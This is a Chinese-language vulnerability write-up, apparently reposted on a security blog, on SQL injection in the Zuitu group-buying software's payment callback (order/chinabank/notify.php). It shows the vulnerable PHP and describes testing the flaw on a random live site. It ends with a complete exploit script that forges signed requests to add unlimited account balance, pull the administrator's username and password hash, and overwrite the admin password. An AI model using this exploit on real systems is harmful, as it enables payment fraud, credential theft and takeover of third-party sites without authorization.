最土团购注入一枚可直接提升自己为管理 & 无限刷钱

没穿底裤 2020年1月1日02:43:34评论329 views字数 2232阅读7分26秒阅读模式
摘要

在order/chinabank/notify.php中[php][/php]key是空的 不用管他。 只是一点点的验证。 MD5相等可好, 然后把v_oid用来切割。


漏洞作者: ′ 雨。

在order/chinabank/notify.php中

[php]

$key = $INI['chinabank']['sec']; $v_oid     = trim($_POST['v_oid']);  // 商户发送的v_oid定单编号    $v_pmode   = trim($_POST['v_pmode']); // 支付方式(字符串)    $v_pstatus = trim($_POST['v_pstatus']);   //支付状态 :20 成功,30 失败 $v_pstring = trim($_POST['v_pstring']);   // 支付结果信息 $v_amount  = trim($_POST['v_amount']);     // 订单实际支付金额 $v_moneytype = trim($_POST['v_moneytype']); //订单实际支付币种     $remark1   = trim($_POST['remark1' ]);      //备注字段1 $remark2   = trim($_POST['remark2' ]);     //备注字段2 $v_md5str  = trim($_POST['v_md5str' ]);   //拼凑后的MD5校验值    /* 重新计算md5的值 */ $text = "{$v_oid}{$v_pstatus}{$v_amount}{$v_moneytype}{$key}"; $md5string = strtoupper(md5($text));  /* 判断返回信息,如果支付成功,并且支付结果可信,则做进一步的处理 */ if ($v_md5str == $md5string) {  list($_, $order_id, $city_id, $_) = explode('-', $v_oid, 4);  if($v_pstatus=="20") {    /* charge */   if ( $_ == 'charge' ) {    @list($_, $user_id, $create_time, $_) = explode('-', $v_oid, 4);     ZFlow::CreateFromCharge($v_amount, $user_id, $create_time, 'chinabank');    die('ok');   }

[/php]

key是空的 不用管他。 只是一点点的验证。 MD5相等可好, 然后把v_oid用来切割。

然后带入CreateFromCharge

[php]

static public function CreateFromCharge($money,$user_id,$time,$service='alipay',$trade_no=''){    global $option_service;   if (!$money || !$user_id || !$time) return 0;    $pay_id = "charge-{$user_id}-{$time}";   $pay = Table::Fetch('pay', $pay_id);   if ( $pay ) return 0;    $order_id = ZOrder::CreateFromCharge($money,$user_id,$time,$service);    if (!$order_id) return 0;    //insert pay record   $pay = array(    'id' => $pay_id,    'vid' => $trade_no,    'order_id' => $order_id,    'bank' => $option_service[$service],    'currency' => 'CNY',    'money' => $money,    'service' => $service,    'create_time' => $time,   );   DB::Insert('pay', $pay);   ZCredit::Charge($user_id, $money);   //end//    //update user money;    $user = Table::Fetch('user', $user_id);    Table::UpdateCache('user', $user_id, array(      'money' => array( "money + {$money}" ),      ));    $u = array(     'user_id' => $user_id,     'admin_id' => 0,     'money' => $money,     'direction' => 'income',     'action' => 'charge',     'detail_id' => $pay_id,     'create_time' => $time,     );   return DB::Insert('flow', $u);  }

[/php]

这里有一个insert 语句 和一个update语句。

insert 里面的都被单引号了。 而且如果我们提交单引号的话还会被转义。

[php]

Table::UpdateCache('user', $user_id, array(      'money' => array( "money + {$money}" ),      ));

[/php]

看这个update $money是没有单引号的。

然后带入查询 首先构造一下语句。

由于 管理和用户都是在user表里 是通过manager这个column 用来判断是否为管理员。

我们给我们自己的用户的manager update成y 即可成为管理员。

UPDATE `user` SET `money`=money + asd WHERE `id`='88'

执行的语句如此。 我们构造一下语句。

漏洞证明:

最土团购注入一枚可直接提升自己为管理 & 无限刷钱

最土团购注入一枚可直接提升自己为管理 & 无限刷钱

 

成功提升。

百度随便找了个站测试。

 

无限刷钱

最土团购注入一枚可直接提升自己为管理 & 无限刷钱

 

 

成功提升。

 

最土团购注入一枚可直接提升自己为管理 & 无限刷钱

有大神给出了exp
[php]
$v_mobile = trim($_GET['mobile']);
if ($v_mobile){
$rand = rand(10,1000);
$money = "v_oid=charge-$rand-1-5&v_pstatus=20&v_amount=1000 where mobile=$v_mobile#";
$rand1 = $rand +1;
$admin_name = "v_oid=charge-$rand1-1-5&v_pstatus=20&v_amount=10,email=(select username from (select * from user where id=1)xx) where mobile=$v_mobile#";
$rand2 = $rand +2;
$admin_pass = "v_oid=charge-$rand2-1-5&v_pstatus=20&v_amount=10,email=(select password from (select * from user where id=1)xx) where mobile=$v_mobile#";
$rand3 = $rand +3;
$update_pass_1 = "v_oid=charge-$rand3-1-5&v_pstatus=20&v_amount=10,password='e7fe8b88db51d86ef2f5e169144b9c1b' where id=1#";
$rand4 = $rand +4;
$update_pass_2 = "v_oid=charge-$rand4-1-5&v_pstatus=20&v_amount=10,password=(select password from (select * from user where mobile=$v_mobile)xx) where mobile=$v_mobile#";

echo "

最土团购EXP提交地址:
http://0day5.com/order/chinabank/notify.php
POST以下数据";
echo "

给自己账号加钱:
$money&v_md5str=".strtoupper(md5("charge-$rand-1-5201000 where mobile=$v_mobile#"));
echo "

获取管理员账号,查看自己个人资料邮箱处:
$admin_name&v_md5str=".strtoupper(md5("charge-$rand1-1-52010,email=(select username from (select * from user where id=1)xx) where mobile=$v_mobile#"));
echo "

获取管理员密码,查看自己个人资料邮箱处:
$admin_pass&v_md5str=".strtoupper(md5("charge-$rand2-1-52010,email=(select password from (select * from user where id=1)xx) where mobile=$v_mobile#"));
echo "

修改管理员密码为123456:
$update_pass_1&v_md5str=".strtoupper(md5("charge-$rand3-1-52010,password='e7fe8b88db51d86ef2f5e169144b9c1b' where id=1#"));
echo "

修改管理员密码为自己登录密码:
$update_pass_2&v_md5str=".strtoupper(md5("charge-$rand4-1-52010,password=(select password from (select * from user where mobile=$v_mobile)xx) where mobile=$v_mobile#"));
}else{
$self = $_SERVER['PHP_SELF'];
echo "请提交参数:mobile=(你的注册手机号码)
如:$self?mobile=13800138000";
}
?>
[/php]
最土团购注入一枚可直接提升自己为管理 & 无限刷钱

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日02:43:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   最土团购注入一枚可直接提升自己为管理 & 无限刷钱http://cn-sec.com/archives/75580.html

发表评论

匿名网友 填写信息